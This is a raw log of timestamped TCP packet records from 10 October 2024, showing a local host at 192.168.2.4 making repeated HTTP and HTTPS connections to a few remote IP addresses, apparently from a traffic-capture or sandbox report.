Oct 10, 2024 10:13:39.464523077 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:39.469485044 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:39.642304897 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:39.642383099 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:39.647149086 CEST	64629	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:39.647182941 CEST	443	64629	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:39.647281885 CEST	64629	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:39.647692919 CEST	64629	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:39.647706985 CEST	443	64629	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:39.713128090 CEST	443	64626	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.713706970 CEST	64626	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.713716030 CEST	443	64626	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.714402914 CEST	64626	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.714406967 CEST	443	64626	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.725886106 CEST	443	64625	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.726573944 CEST	64625	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.726584911 CEST	443	64625	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.727054119 CEST	64625	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.727061033 CEST	443	64625	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.728460073 CEST	443	64624	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.728934050 CEST	64624	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.729000092 CEST	443	64624	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.729331017 CEST	64624	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.729346037 CEST	443	64624	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.820421934 CEST	443	64626	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.820491076 CEST	443	64626	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.820558071 CEST	64626	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.820784092 CEST	64626	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.820784092 CEST	64626	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.820802927 CEST	443	64626	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.820811987 CEST	443	64626	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.824038029 CEST	64630	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.824083090 CEST	443	64630	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.824273109 CEST	64630	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.824412107 CEST	64630	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.824424982 CEST	443	64630	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.835608959 CEST	443	64625	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.835761070 CEST	443	64625	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.835841894 CEST	64625	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.835942984 CEST	64625	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.835949898 CEST	443	64625	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.835961103 CEST	64625	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.835966110 CEST	443	64625	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.841022968 CEST	64631	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.841082096 CEST	443	64631	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.841152906 CEST	64631	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.841953993 CEST	64631	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.841978073 CEST	443	64631	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.842761993 CEST	443	64624	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.842823029 CEST	443	64624	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.843234062 CEST	64624	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.844362020 CEST	64624	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.844383001 CEST	443	64624	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.844393969 CEST	64624	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.844398975 CEST	443	64624	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.852972984 CEST	64632	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.853013992 CEST	443	64632	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.853127003 CEST	64632	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.853249073 CEST	64632	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.853264093 CEST	443	64632	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.894037962 CEST	443	64627	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.894615889 CEST	64627	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.894699097 CEST	443	64627	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.895172119 CEST	64627	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.895186901 CEST	443	64627	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.901190042 CEST	443	64628	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.901675940 CEST	64628	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.901694059 CEST	443	64628	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.902123928 CEST	64628	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.902128935 CEST	443	64628	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.006195068 CEST	443	64627	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.006259918 CEST	443	64627	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.006393909 CEST	64627	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.006602049 CEST	64627	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.006623030 CEST	443	64627	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.006637096 CEST	64627	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.006643057 CEST	443	64627	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.009663105 CEST	64633	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.009706020 CEST	443	64633	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.010097980 CEST	64633	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.010174990 CEST	64633	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.010188103 CEST	443	64633	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.011535883 CEST	443	64628	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.011718988 CEST	443	64628	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.011781931 CEST	64628	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.011814117 CEST	64628	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.011823893 CEST	443	64628	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.011836052 CEST	64628	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.011842012 CEST	443	64628	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.014492035 CEST	64634	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.014517069 CEST	443	64634	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.014576912 CEST	64634	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.014731884 CEST	64634	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.014744043 CEST	443	64634	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.262847900 CEST	443	64629	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:40.262943983 CEST	64629	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:40.263550997 CEST	64629	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:40.263566971 CEST	443	64629	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:40.263813972 CEST	64629	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:40.263818979 CEST	443	64629	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:40.447617054 CEST	443	64629	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:40.447690964 CEST	443	64629	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:40.447690010 CEST	64629	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:40.447741032 CEST	64629	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:40.447854042 CEST	64629	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:40.447874069 CEST	443	64629	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:40.447886944 CEST	64629	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:40.447927952 CEST	64629	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:40.485536098 CEST	443	64630	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.486366034 CEST	64630	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.486381054 CEST	443	64630	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.487168074 CEST	64630	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.487174988 CEST	443	64630	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.502744913 CEST	443	64632	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.503603935 CEST	64632	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.503617048 CEST	443	64632	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.503827095 CEST	443	64631	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.504117966 CEST	64632	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.504122972 CEST	443	64632	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.504496098 CEST	64631	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.504542112 CEST	443	64631	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.504995108 CEST	64631	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.505002975 CEST	443	64631	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.593503952 CEST	443	64630	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.593647957 CEST	443	64630	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.593755007 CEST	64630	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.593947887 CEST	64630	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.593962908 CEST	443	64630	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.593974113 CEST	64630	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.593978882 CEST	443	64630	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.596770048 CEST	64635	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.596801996 CEST	443	64635	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.596890926 CEST	64635	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.597039938 CEST	64635	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.597050905 CEST	443	64635	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.615237951 CEST	443	64632	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.615288973 CEST	443	64632	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.615407944 CEST	64632	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.615704060 CEST	64632	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.615704060 CEST	64632	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.615712881 CEST	443	64632	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.615720987 CEST	443	64632	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.618678093 CEST	64636	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.618729115 CEST	443	64636	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.619416952 CEST	64636	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.619903088 CEST	64636	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.619920969 CEST	443	64636	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.620454073 CEST	443	64631	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.620534897 CEST	443	64631	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.620618105 CEST	64631	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.620716095 CEST	64631	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.620716095 CEST	64631	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.620739937 CEST	443	64631	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.620745897 CEST	443	64631	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.623410940 CEST	64637	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.623447895 CEST	443	64637	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.623521090 CEST	64637	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.623675108 CEST	64637	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.623691082 CEST	443	64637	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.663815975 CEST	443	64633	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.664870977 CEST	64633	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.664892912 CEST	443	64633	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.664946079 CEST	64633	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.664956093 CEST	443	64633	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.671823978 CEST	443	64634	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.672370911 CEST	64634	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.672406912 CEST	443	64634	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.672796011 CEST	64634	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.672810078 CEST	443	64634	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.774343967 CEST	443	64633	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.774431944 CEST	443	64633	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.774559975 CEST	64633	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.774728060 CEST	64633	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.774728060 CEST	64633	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.774749994 CEST	443	64633	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.774760962 CEST	443	64633	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.777688026 CEST	443	64634	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.777822018 CEST	443	64634	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.777988911 CEST	64634	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.778196096 CEST	64634	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.778208971 CEST	443	64634	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.778218985 CEST	64634	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.778224945 CEST	443	64634	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.778364897 CEST	64638	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.778404951 CEST	443	64638	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.778676033 CEST	64638	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.778676033 CEST	64638	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.778716087 CEST	443	64638	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.780623913 CEST	64639	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.780725002 CEST	443	64639	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:40.781352043 CEST	64639	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.781486034 CEST	64639	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:40.781522036 CEST	443	64639	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.012618065 CEST	64640	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:41.017759085 CEST	80	64640	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:41.018524885 CEST	64640	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:41.021172047 CEST	64640	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:41.026189089 CEST	80	64640	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:41.256390095 CEST	443	64635	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.256966114 CEST	64635	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.256983995 CEST	443	64635	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.257494926 CEST	64635	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.257499933 CEST	443	64635	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.281213045 CEST	443	64636	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.281883001 CEST	64636	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.281915903 CEST	443	64636	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.282269001 CEST	64636	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.282278061 CEST	443	64636	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.303407907 CEST	443	64637	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.303903103 CEST	64637	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.303934097 CEST	443	64637	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.304356098 CEST	64637	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.304363966 CEST	443	64637	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.385148048 CEST	443	64635	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.385315895 CEST	443	64635	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.388645887 CEST	64635	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.388752937 CEST	64635	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.388771057 CEST	443	64635	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.388842106 CEST	64635	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.388848066 CEST	443	64635	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.391742945 CEST	64641	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.391799927 CEST	443	64641	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.392741919 CEST	64641	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.392885923 CEST	64641	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.392909050 CEST	443	64641	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.396938086 CEST	443	64636	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.397006989 CEST	443	64636	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.397288084 CEST	64636	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.397423029 CEST	64636	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.397423029 CEST	64636	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.397468090 CEST	443	64636	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.397499084 CEST	443	64636	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.399686098 CEST	64642	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.399709940 CEST	443	64642	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.400445938 CEST	64642	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.400445938 CEST	64642	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.400480986 CEST	443	64642	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.415937901 CEST	443	64637	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.416102886 CEST	443	64637	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.416354895 CEST	64637	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.416354895 CEST	64637	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.416354895 CEST	64637	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.418503046 CEST	64643	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.418543100 CEST	443	64643	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.418642998 CEST	64643	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.418749094 CEST	64643	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.418762922 CEST	443	64643	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.441579103 CEST	443	64638	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.442099094 CEST	64638	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.442118883 CEST	443	64638	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.442563057 CEST	64638	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.442570925 CEST	443	64638	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.449635983 CEST	443	64639	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.449963093 CEST	64639	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.450011015 CEST	443	64639	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.450283051 CEST	64639	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.450295925 CEST	443	64639	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.553256989 CEST	443	64638	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.553355932 CEST	443	64638	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.554203987 CEST	64638	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.554203987 CEST	64638	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.554482937 CEST	64638	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.554500103 CEST	443	64638	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.556937933 CEST	64644	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.557001114 CEST	443	64644	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.557149887 CEST	64644	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.557288885 CEST	64644	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.557307005 CEST	443	64644	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.562403917 CEST	443	64639	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.562489033 CEST	443	64639	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.562597990 CEST	64639	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.562793970 CEST	64639	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.562793970 CEST	64639	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.562840939 CEST	443	64639	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.562855959 CEST	443	64639	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.578929901 CEST	64645	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.579032898 CEST	443	64645	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.579315901 CEST	64645	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.579579115 CEST	64645	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.579612017 CEST	443	64645	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.729510069 CEST	64637	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:41.729543924 CEST	443	64637	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:41.734544992 CEST	80	64640	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:41.734584093 CEST	80	64640	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:41.736641884 CEST	64640	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:41.737018108 CEST	64640	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:41.737049103 CEST	64640	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:42.029412031 CEST	443	64642	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.030097008 CEST	64642	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.030138969 CEST	443	64642	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.030812025 CEST	64642	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.030818939 CEST	443	64642	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.054361105 CEST	443	64641	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.054930925 CEST	64641	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.054965019 CEST	443	64641	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.055355072 CEST	64641	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.055361032 CEST	443	64641	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.098180056 CEST	443	64643	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.098850012 CEST	64643	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.098885059 CEST	443	64643	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.099476099 CEST	64643	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.099484921 CEST	443	64643	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.142414093 CEST	443	64642	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.142503023 CEST	443	64642	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.142810106 CEST	64642	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.142854929 CEST	64642	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.142874956 CEST	443	64642	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.142889023 CEST	64642	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.142895937 CEST	443	64642	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.146081924 CEST	64646	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.146121979 CEST	443	64646	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.146214962 CEST	64646	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.146433115 CEST	64646	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.146447897 CEST	443	64646	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.148447037 CEST	443	64645	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.148926973 CEST	64645	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.148933887 CEST	443	64645	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.149384975 CEST	64645	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.149389029 CEST	443	64645	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.162967920 CEST	443	64641	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.163026094 CEST	443	64641	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.163114071 CEST	64641	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.163364887 CEST	64641	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.163392067 CEST	443	64641	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.163412094 CEST	64641	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.163418055 CEST	443	64641	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.167443991 CEST	64647	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.167481899 CEST	443	64647	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.167563915 CEST	64647	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.167730093 CEST	64647	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:42.167738914 CEST	443	64647	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.206365108 CEST	443	64643	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:42.206470013 CEST	443	64643	13.107.253.45	192.168.2.4
